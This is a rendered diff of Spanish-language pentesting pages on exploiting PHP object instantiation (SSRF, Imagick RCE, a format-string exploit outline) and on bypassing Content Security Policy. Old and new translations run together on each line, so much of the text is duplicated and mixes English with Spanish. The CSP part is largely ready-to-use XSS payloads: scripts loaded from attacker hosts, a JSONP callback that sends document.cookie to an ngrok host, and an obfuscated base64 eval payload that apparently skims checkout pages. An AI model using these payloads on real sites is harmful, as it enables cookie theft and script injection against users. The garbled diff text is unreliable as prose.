### **SSRF + Deserialización de Phar** ### **SSRF + Phar Deserialization**
La clase `SplFileObject` permite SSRF a través de su constructor, permitiendo conexiones a cualquier URL: La clase `SplFileObject` permite SSRF a través de su constructor, permitiendo conexiones a cualquier URL:
```php ```php
new SplFileObject('http://attacker.com/'); new SplFileObject('http://attacker.com/');
``` ```
SSRF puede llevar a ataques de deserialización en versiones de PHP anteriores a 8.0 utilizando el protocolo Phar. SSRF puede conducir a deserialization attacks en versiones de PHP anteriores a la 8.0 usando el protocolo Phar.
### **Explotando PDOs** ### **Exploiting PDOs**
El constructor de la clase PDO permite conexiones a bases de datos a través de cadenas DSN, lo que potencialmente habilita la creación de archivos u otras interacciones: El constructor de la clase PDO permite conexiones a bases de datos mediante cadenas DSN, lo que potencialmente habilita la creación de archivos u otras interacciones:
```php ```php
new PDO("sqlite:/tmp/test.txt") new PDO("sqlite:/tmp/test.txt")
``` ```
### **SoapClient/SimpleXMLElement XXE** ### **SoapClient/SimpleXMLElement XXE**
Las versiones de PHP hasta 5.3.22 y 5.4.12 eran susceptibles a ataques XXE a través de los constructores `SoapClient` y `SimpleXMLElement`, dependiendo de la versión de libxml2. Versiones de PHP hasta 5.3.22 y 5.4.12 eran susceptibles a ataques XXE a través de los constructores de `SoapClient` y `SimpleXMLElement`, dependiendo de la versión de libxml2.
## RCE a través de la extensión Imagick ## RCE vía la extensión Imagick
En el análisis de las **dependencias de un proyecto**, se descubrió que **Imagick** podría ser aprovechado para **ejecución de comandos** al instanciar nuevos objetos. Esto presenta una oportunidad para explotar vulnerabilidades. En el análisis de las dependencias de un **proyecto**, se descubrió que **Imagick** podía aprovecharse para **ejecución de comandos** al instanciar nuevos objetos. Esto presenta una oportunidad para explotar vulnerabilidades.
### Analizador VID ### VID parser
Se identificó la capacidad del analizador VID de escribir contenido en cualquier ruta especificada en el sistema de archivos. Esto podría llevar a la colocación de un shell PHP en un directorio accesible por la web, logrando Ejecución Remota de Código (RCE). Se identificó la capacidad del VID parser para escribir contenido en cualquier ruta especificada del sistema de archivos. Esto podría conducir a la colocación de un PHP shell en un directorio accesible vía web, logrando Remote Code Execution (RCE).
#### Analizador VID + Carga de Archivos #### VID Parser + File Upload
Se observa que PHP almacena temporalmente los archivos subidos en `/tmp/phpXXXXXX`. El analizador VID en Imagick, utilizando el protocolo **msl**, puede manejar comodines en las rutas de archivos, facilitando la transferencia del archivo temporal a una ubicación elegida. Este método ofrece un enfoque adicional para lograr escritura arbitraria de archivos dentro del sistema de archivos. Se observa que PHP almacena temporalmente los archivos subidos en `/tmp/phpXXXXXX`. El VID parser en Imagick, utilizando el protocolo **msl**, puede manejar comodines en rutas de archivos, facilitando la transferencia del archivo temporal a una ubicación elegida. Este método ofrece un enfoque adicional para conseguir escritura arbitraria de archivos en el sistema de archivos.
### Caída de PHP + Fuerza Bruta ### PHP Crash + Brute Force
Un método descrito en el [**escrito original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) implica subir archivos que provocan una caída del servidor antes de su eliminación. Al forzar el nombre del archivo temporal, se vuelve posible que Imagick ejecute código PHP arbitrario. Sin embargo, se encontró que esta técnica solo era efectiva en una versión desactualizada de ImageMagick. Un método descrito en el [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) consiste en subir archivos que provocan un crash del servidor antes de su eliminación. Mediante brute-forcing del nombre del archivo temporal, se vuelve posible que Imagick ejecute código PHP arbitrario. Sin embargo, se constató que esta técnica solo era efectiva en una versión desactualizada de ImageMagick.
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
Cuando la entrada del usuario controla el nombre de la clase (p.ej., `new $_GET['model']()`), PHP 7.0.0 introdujo un bug transitorio durante la refactorización de `Throwable` en el que el motor trataba por error el nombre de la clase como una cadena de formato printf durante la resolución. Esto habilita primitivas clásicas al estilo printf dentro de PHP: leaks con `%p`, control del conteo de escritura con especificadores de ancho, y escrituras arbitrarias con `%n` sobre punteros en proceso (por ejemplo, entradas GOT en builds ELF).
Patrón mínimo de repro vulnerable:
```php
<?php
$model = $_GET['model'];
$object = new $model();
```
Esquema de explotación (según la referencia):
- Leak direcciones vía `%p` en el nombre de la clase para encontrar un objetivo escribible:
```bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
```
- Usa parámetros posicionales y especificadores de ancho para fijar un conteo exacto de bytes, luego `%n` para escribir ese valor en una dirección accesible en el stack, apuntando a un GOT slot (p. ej., `free`) para sobrescribir parcialmente hacia `system`.
- Activa la función secuestrada pasando un nombre de clase que contenga un shell pipe para llamar a `system("id")`.
Notas:
- Funciona solo en PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); corregido en versiones posteriores. Severidad: crítica si existe instanciación arbitraria de clases.
- Los payloads típicos encadenan muchos `%p` para recorrer el stack, luego `%.<width>d%<pos>$n` para lograr la sobrescritura parcial.
## Referencias ## Referencias
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) - [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,30 +2,30 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## What is CSP ## ¿Qué es CSP
La Política de Seguridad de Contenidos (CSP) se reconoce como una tecnología de navegador, principalmente destinada a **proteger contra ataques como el scripting entre sitios (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales los recursos pueden ser cargados de manera segura por el navegador. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos en línea y la ejecución de código en forma de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`. Content Security Policy (CSP) es una tecnología de navegador, orientada principalmente a **proteger frente a ataques como cross-site scripting (XSS)**. Funciona definiendo y especificando rutas y orígenes desde los cuales el navegador puede cargar recursos de forma segura. Estos recursos comprenden una variedad de elementos como imágenes, frames y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos inline y la ejecución de código en forma de string mediante funciones como `eval`, `setTimeout` o `setInterval`.
La implementación de CSP se lleva a cabo a través de **encabezados de respuesta** o incorporando **elementos meta en la página HTML**. Siguiendo esta política, los navegadores aplican proactivamente estas estipulaciones y bloquean inmediatamente cualquier violación detectada. La implementación de CSP se realiza mediante **cabeceras de respuesta** o incorporando **elementos meta en la página HTML**. Siguiendo esta política, los navegadores aplican proactivamente estas directivas y bloquean de inmediato cualquier violación detectada.
- Implementado a través del encabezado de respuesta: - Implementado vía cabecera de respuesta:
``` ```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
``` ```
- Implementado a través de la etiqueta meta: - Implementado vía meta tag:
```xml ```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
``` ```
### Headers ### Encabezados
CSP puede ser aplicado o monitoreado usando estos encabezados: CSP puede aplicarse o supervisarse mediante estos encabezados:
- `Content-Security-Policy`: Aplica la CSP; el navegador bloquea cualquier violación. - `Content-Security-Policy`: Hace cumplir la CSP; el navegador bloquea cualquier violación.
- `Content-Security-Policy-Report-Only`: Usado para monitoreo; informa violaciones sin bloquearlas. Ideal para pruebas en entornos de pre-producción. - `Content-Security-Policy-Report-Only`: Usado para monitoreo; reporta violaciones sin bloquearlas. Ideal para pruebas en entornos de preproducción.
### Defining Resources ### Definiendo Recursos
CSP restringe los orígenes para cargar tanto contenido activo como pasivo, controlando aspectos como la ejecución de JavaScript en línea y el uso de `eval()`. Un ejemplo de política es: CSP restringe los orígenes desde los que se cargan tanto contenido activo como pasivo, controlando aspectos como la ejecución de JavaScript en línea y el uso de `eval()`. Un ejemplo de política es:
```bash ```bash
default-src 'none'; default-src 'none';
img-src 'self'; img-src 'self';
@ -39,38 +39,38 @@ object-src 'none';
``` ```
### Directivas ### Directivas
- **script-src**: Permite fuentes específicas para JavaScript, incluyendo URLs, scripts en línea y scripts activados por controladores de eventos o hojas de estilo XSLT. - **script-src**: Permite fuentes específicas para JavaScript, incluyendo URLs, scripts inline y scripts activados por manejadores de eventos o hojas de estilo XSLT.
- **default-src**: Establece una política predeterminada para la obtención de recursos cuando faltan directivas de obtención específicas. - **default-src**: Establece una política por defecto para la obtención de recursos cuando no existen directivas específicas.
- **child-src**: Especifica los recursos permitidos para trabajadores web y contenidos de marcos incrustados. - **child-src**: Especifica recursos permitidos para web workers y el contenido de frames embebidos.
- **connect-src**: Restringe las URLs que se pueden cargar utilizando interfaces como fetch, WebSocket, XMLHttpRequest. - **connect-src**: Restringe las URLs que pueden cargarse usando interfaces como fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Restringe las URLs para marcos. - **frame-src**: Restringe las URLs para frames.
- **frame-ancestors**: Especifica qué fuentes pueden incrustar la página actual, aplicable a elementos como `<frame>`, `<iframe>`, `<object>`, `<embed>`, y `<applet>`. - **frame-ancestors**: Especifica qué fuentes pueden embeber la página actual, aplicable a elementos como `<frame>`, `<iframe>`, `<object>`, `<embed>`, y `<applet>`.
- **img-src**: Define las fuentes permitidas para imágenes. - **img-src**: Define fuentes permitidas para imágenes.
- **font-src**: Especifica fuentes válidas para fuentes cargadas usando `@font-face`. - **font-src**: Especifica fuentes válidas para las fuentes cargadas usando `@font-face`.
- **manifest-src**: Define las fuentes permitidas de archivos de manifiesto de aplicación. - **manifest-src**: Define fuentes permitidas para archivos de manifiesto de la aplicación.
- **media-src**: Define las fuentes permitidas para cargar objetos multimedia. - **media-src**: Define fuentes permitidas para cargar objetos multimedia.
- **object-src**: Define las fuentes permitidas para elementos `<object>`, `<embed>`, y `<applet>`. - **object-src**: Define fuentes permitidas para los elementos `<object>`, `<embed>`, y `<applet>`.
- **base-uri**: Especifica las URLs permitidas para cargar usando elementos `<base>`. - **base-uri**: Especifica URLs permitidas para cargarse mediante elementos `<base>`.
- **form-action**: Enumera los puntos finales válidos para envíos de formularios. - **form-action**: Lista endpoints válidos para el envío de formularios.
- **plugin-types**: Restringe los tipos MIME que una página puede invocar. - **plugin-types**: Restringe los tipos MIME que una página puede invocar.
- **upgrade-insecure-requests**: Instruye a los navegadores a reescribir URLs HTTP a HTTPS. - **upgrade-insecure-requests**: Indica a los navegadores reescribir URLs HTTP a HTTPS.
- **sandbox**: Aplica restricciones similares al atributo sandbox de un `<iframe>`. - **sandbox**: Aplica restricciones similares al atributo sandbox de un `<iframe>`.
- **report-to**: Especifica un grupo al que se enviará un informe si se viola la política. - **report-to**: Especifica un grupo al que se enviará un informe si la política se viola.
- **worker-src**: Especifica fuentes válidas para scripts de Worker, SharedWorker o ServiceWorker. - **worker-src**: Especifica fuentes válidas para scripts de Worker, SharedWorker o ServiceWorker.
- **prefetch-src**: Especifica fuentes válidas para recursos que serán obtenidos o preobtenidos. - **prefetch-src**: Especifica fuentes válidas para recursos que serán obtenidos o precargados.
- **navigate-to**: Restringe las URLs a las que un documento puede navegar por cualquier medio (a, formulario, window.location, window.open, etc.) - **navigate-to**: Restringe las URLs a las que un documento puede navegar por cualquier medio (a, form, window.location, window.open, etc.)
### Fuentes ### Orígenes
- `*`: Permite todas las URLs excepto aquellas con esquemas `data:`, `blob:`, `filesystem:`. - `*`: Permite todas las URLs excepto las que usan esquemas `data:`, `blob:`, `filesystem:`.
- `'self'`: Permite cargar desde el mismo dominio. - `'self'`: Permite la carga desde el mismo dominio.
- `'data'`: Permite que los recursos se carguen a través del esquema de datos (por ejemplo, imágenes codificadas en Base64). - `'data'`: Permite que recursos se carguen vía el esquema data (p. ej., imágenes codificadas en Base64).
- `'none'`: Bloquea la carga desde cualquier fuente. - `'none'`: Bloquea la carga desde cualquier fuente.
- `'unsafe-eval'`: Permite el uso de `eval()` y métodos similares, no recomendado por razones de seguridad. - `'unsafe-eval'`: Permite el uso de `eval()` y métodos similares; no se recomienda por razones de seguridad.
- `'unsafe-hashes'`: Habilita controladores de eventos en línea específicos. - `'unsafe-hashes'`: Habilita manejadores de eventos inline específicos.
- `'unsafe-inline'`: Permite el uso de recursos en línea como `<script>` o `<style>` en línea, no recomendado por razones de seguridad. - `'unsafe-inline'`: Permite el uso de recursos inline como `<script>` o `<style>`; no se recomienda por razones de seguridad.
- `'nonce'`: Una lista blanca para scripts en línea específicos utilizando un nonce criptográfico (número usado una vez). - `'nonce'`: Una lista blanca para scripts inline específicos que usan un nonce criptográfico (número usado una vez).
- Si tienes ejecución de JS limitada, es posible obtener un nonce usado dentro de la página con `doc.defaultView.top.document.querySelector("[nonce]")` y luego reutilizarlo para cargar un script malicioso (si se usa strict-dynamic, cualquier fuente permitida puede cargar nuevas fuentes, por lo que esto no es necesario), como en: - If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
<details> <details>
@ -88,18 +88,18 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
``` ```
</details> </details>
- `'sha256-<hash>'`: Permite scripts con un hash sha256 específico. - `'sha256-<hash>'`: Añade a la lista blanca scripts con un hash sha256 específico.
- `'strict-dynamic'`: Permite cargar scripts de cualquier fuente si ha sido autorizado por un nonce o hash. - `'strict-dynamic'`: Permite cargar scripts desde cualquier fuente si han sido añadidos a la lista blanca mediante un nonce o hash.
- `'host'`: Especifica un host específico, como `example.com`. - `'host'`: Especifica un host concreto, como `example.com`.
- `https:`: Restringe las URL a aquellas que utilizan HTTPS. - `https:`: Restringe las URLs a las que usan HTTPS.
- `blob:`: Permite cargar recursos desde URLs Blob (por ejemplo, URLs Blob creadas a través de JavaScript). - `blob:`: Permite cargar recursos desde Blob URLs (p. ej., Blob URLs creadas mediante JavaScript).
- `filesystem:`: Permite cargar recursos desde el sistema de archivos. - `filesystem:`: Permite cargar recursos desde el sistema de archivos.
- `'report-sample'`: Incluye una muestra del código que viola en el informe de violación (útil para depuración). - `'report-sample'`: Incluye una muestra del código que viola la política en el informe de violación (útil para depuración).
- `'strict-origin'`: Similar a 'self' pero asegura que el nivel de seguridad del protocolo de las fuentes coincida con el documento (solo orígenes seguros pueden cargar recursos de orígenes seguros). - `'strict-origin'`: Similar a 'self' pero asegura que el nivel de seguridad del protocolo de las fuentes coincide con el del documento (solo orígenes seguros pueden cargar recursos desde orígenes seguros).
- `'strict-origin-when-cross-origin'`: Envía URLs completas al hacer solicitudes del mismo origen, pero solo envía el origen cuando la solicitud es de origen cruzado. - `'strict-origin-when-cross-origin'`: Envía URLs completas al hacer peticiones same-origin, pero solo envía el origen cuando la petición es cross-origin.
- `'unsafe-allow-redirects'`: Permite cargar recursos que redirigirán inmediatamente a otro recurso. No se recomienda ya que debilita la seguridad. - `'unsafe-allow-redirects'`: Permite cargar recursos que redirigirán inmediatamente a otro recurso. No recomendado ya que debilita la seguridad.
## Reglas CSP Inseguras ## Reglas CSP inseguras
### 'unsafe-inline' ### 'unsafe-inline'
```yaml ```yaml
@ -109,6 +109,7 @@ Payload funcional: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' a través de Iframes #### self + 'unsafe-inline' a través de Iframes
{{#ref}} {{#ref}}
csp-bypass-self-+-unsafe-inline-with-iframes.md csp-bypass-self-+-unsafe-inline-with-iframes.md
{{#endref}} {{#endref}}
@ -116,60 +117,58 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
### 'unsafe-eval' ### 'unsafe-eval'
> [!CAUTION] > [!CAUTION]
> Esto no está funcionando, para más información [**ver esto**](https://github.com/HackTricks-wiki/hacktricks/issues/653). > Esto no funciona; para más información [**consulta esto**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml ```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval'; Content-Security-Policy: script-src https://google.com 'unsafe-eval';
``` ```
Carga útil funcional: Payload funcional:
```html ```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script> <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
``` ```
### strict-dynamic ### strict-dynamic
Si de alguna manera puedes hacer que un **código JS permitido cree una nueva etiqueta de script** en el DOM con tu código JS, porque un script permitido la está creando, la **nueva etiqueta de script se permitirá ejecutar**. Si de alguna manera puedes hacer que un **allowed JS code created a new script tag** en el DOM con tu JS, dado que un allowed script lo está creando, el **new script tag will be allowed to be executed**.
### Wildcard (\*) ### Comodín (\*)
```yaml ```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *; Content-Security-Policy: script-src 'self' https://google.com https: data *;
``` ```
Carga útil funcional: Payload funcional:
```html ```html
"/>'><script src=https://attacker-website.com/evil.js></script> "/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script> "/>'><script src=data:text/javascript,alert(1337)></script>
``` ```
### Falta de object-src y default-src ### Falta de object-src y default-src
> [!CAUTION] > **Parece que esto ya no está funcionando** > [!CAUTION] > **Parece que esto ya no funciona**
```yaml ```yaml
Content-Security-Policy: script-src 'self' ; Content-Security-Policy: script-src 'self' ;
``` ```
Cargas útiles funcionales: Payloads funcionales:
```html ```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'> ">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object> <param name="AllowScriptAccess" value="always"></object>
``` ```
### Carga de Archivos + 'self' ### File Upload + 'self'
```yaml ```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ; Content-Security-Policy: script-src 'self'; object-src 'none' ;
``` ```
Si puedes subir un archivo JS, puedes eludir esta CSP: Si puedes subir un archivo JS, puedes evadir este CSP:
Carga útil funcional: Payload funcional:
```html ```html
"/>'><script src="/uploads/picture.png.js"></script> "/>'><script src="/uploads/picture.png.js"></script>
``` ```
Sin embargo, es muy probable que el servidor esté **validando el archivo subido** y solo te permita **subir determinados tipos de archivos**. Sin embargo, es muy probable que el servidor esté **validando el archivo subido** y solo te permita **subir determinados tipos de archivos**.
Además, incluso si pudieras subir un **código JS dentro** de un archivo con una extensión aceptada por el servidor (como: _script.png_), esto no sería suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo según la extensión** y navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Esperemos", hay errores. Por ejemplo, de un CTF aprendí que **Apache no conoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***. Además, incluso si pudieras subir un **JS code inside** en un archivo usando una extensión aceptada por el servidor (como: _script.png_) esto no será suficiente porque algunos servidores como apache server **select MIME type of the file based on the extension** y navegadores como Chrome **reject to execute Javascript** código dentro de algo que debería ser una imagen. "Por suerte", hay errores. Por ejemplo, en un CTF aprendí que **Apache doesn't know** la extensión _**.wave**_, por lo tanto no la sirve con un **MIME type like audio/***.
A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una **extensión malinterpretada**, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo subido, crea un poliglota ([algunos ejemplos de poliglota aquí](https://github.com/Polydet/polyglot-database)). A partir de aquí, si encuentras un XSS y un file upload, y logras encontrar una **misinterpreted extension**, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está comprobando el formato correcto del archivo subido, crea un polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
### Form-action ### Form-action
Si no es posible inyectar JS, aún podrías intentar exfiltrar, por ejemplo, credenciales **inyectando una acción de formulario** (y tal vez esperando que los administradores de contraseñas completen automáticamente las contraseñas). Puedes encontrar un [**ejemplo en este informe**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Además, ten en cuenta que `default-src` no cubre las acciones de formulario. If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Además, ten en cuenta que `default-src` no cubre las acciones de formulario.
### Third Party Endpoints + ('unsafe-eval')
> [!WARNING] > [!WARNING]
> Para algunos de los siguientes payloads **`unsafe-eval` ni siquiera es necesario**. > Para algunos de los siguientes payloads **`unsafe-eval` ni siquiera es necesario**.
@ -197,10 +196,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>" <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
> >
``` ```
#### Payloads usando Angular + una biblioteca con funciones que devuelven el objeto `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)): #### Payloads usando Angular + una librería con funciones que devuelven el `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!TIP] > [!TIP]
> El post muestra que podrías **cargar** todas las **bibliotecas** desde `cdn.cloudflare.com` (o cualquier otro repositorio de bibliotecas JS permitidas), ejecutar todas las funciones añadidas de cada biblioteca y verificar **qué funciones de qué bibliotecas devuelven el objeto `window`**. > El post muestra que puedes **cargar** todas las **librerías** desde `cdn.cloudflare.com` (o cualquier otro repo permitido de librerías JS), ejecutar todas las funciones añadidas de cada librería y comprobar **qué funciones de qué librerías devuelven el objeto `window`**.
```html ```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -230,9 +229,9 @@ Angular XSS desde un nombre de clase:
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong> <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div> </div>
``` ```
#### Abusando del código JS de google recaptcha #### Abusar del código JS de google recaptcha
Según [**este informe de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), puedes abusar de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de un CSP para ejecutar código JS arbitrario eludiendo el CSP: Según [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) puedes abusar de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de una CSP para ejecutar código JS arbitrario eludiendo la CSP:
```html ```html
<div <div
ng-controller="CarouselController as c" ng-controller="CarouselController as c"
@ -243,7 +242,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script> <script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
``` ```
Más [**payloads de este artículo**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/): Más [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html ```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script> <script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
@ -260,21 +259,21 @@ b=doc.createElement("script");
b.src="//example.com/evil.js"; b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' /> b.nonce=a.nonce; doc.body.appendChild(b)' />
``` ```
#### Abusando de www.google.com para redirección abierta #### Abusar de www.google.com para un open redirect
La siguiente URL redirige a example.com (desde [aquí](https://www.landh.tech/blog/20240304-google-hack-50000/)): La siguiente URL redirige a example.com (desde [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
``` ```
https://www.google.com/amp/s/example.com/ https://www.google.com/amp/s/example.com/
``` ```
Abusando \*.google.com/script.google.com Abusar de \*.google.com/script.google.com
Es posible abusar de Google Apps Script para recibir información en una página dentro de script.google.com. Como se [hace en este informe](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/). Es posible abusar de Google Apps Script para recibir información en una página dentro de script.google.com. Como se hizo en este informe: https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/.
### Puntos finales de terceros + JSONP ### Endpoints de terceros + JSONP
```http ```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none'; Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
``` ```
Escenarios como este donde `script-src` está configurado en `self` y un dominio particular que está en la lista blanca puede ser eludido utilizando JSONP. Los puntos finales de JSONP permiten métodos de callback inseguros que permiten a un atacante realizar XSS, carga útil en funcionamiento: Escenarios como este en los que `script-src` está establecido en `self` y un dominio concreto que está whitelisted pueden ser bypassed usando JSONP. Los endpoints JSONP permiten métodos de callback inseguros que permiten a un atacante realizar XSS. Payload funcional:
```html ```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script> "><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script> "><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -288,28 +287,28 @@ https://www.youtube.com/oembed?callback=alert;
```html ```html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script> <script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
``` ```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene puntos finales JSONP listos para usar para el bypass de CSP de diferentes sitios web.** [**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene endpoints JSONP listos para usar para CSP bypass de diferentes sitios web.**
La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una Redirección Abierta** porque si el punto final inicial es de confianza, las redirecciones son de confianza. La misma vulnerabilidad ocurrirá si el **trusted endpoint contiene un Open Redirect**, porque si el endpoint inicial es trusted, los redirects serán considerados confiables.
### Abusos de Terceros ### Abusos de terceros
Como se describe en el [siguiente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), hay muchos dominios de terceros que, pueden estar permitidos en algún lugar del CSP, pueden ser abusados para exfiltrar datos o ejecutar código JavaScript. Algunos de estos terceros son: Como se describe en el [siguiente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), hay muchos dominios de terceros que, si están permitidos en la CSP, pueden ser abusados para exfiltrar datos o ejecutar código JavaScript. Algunos de estos terceros son:
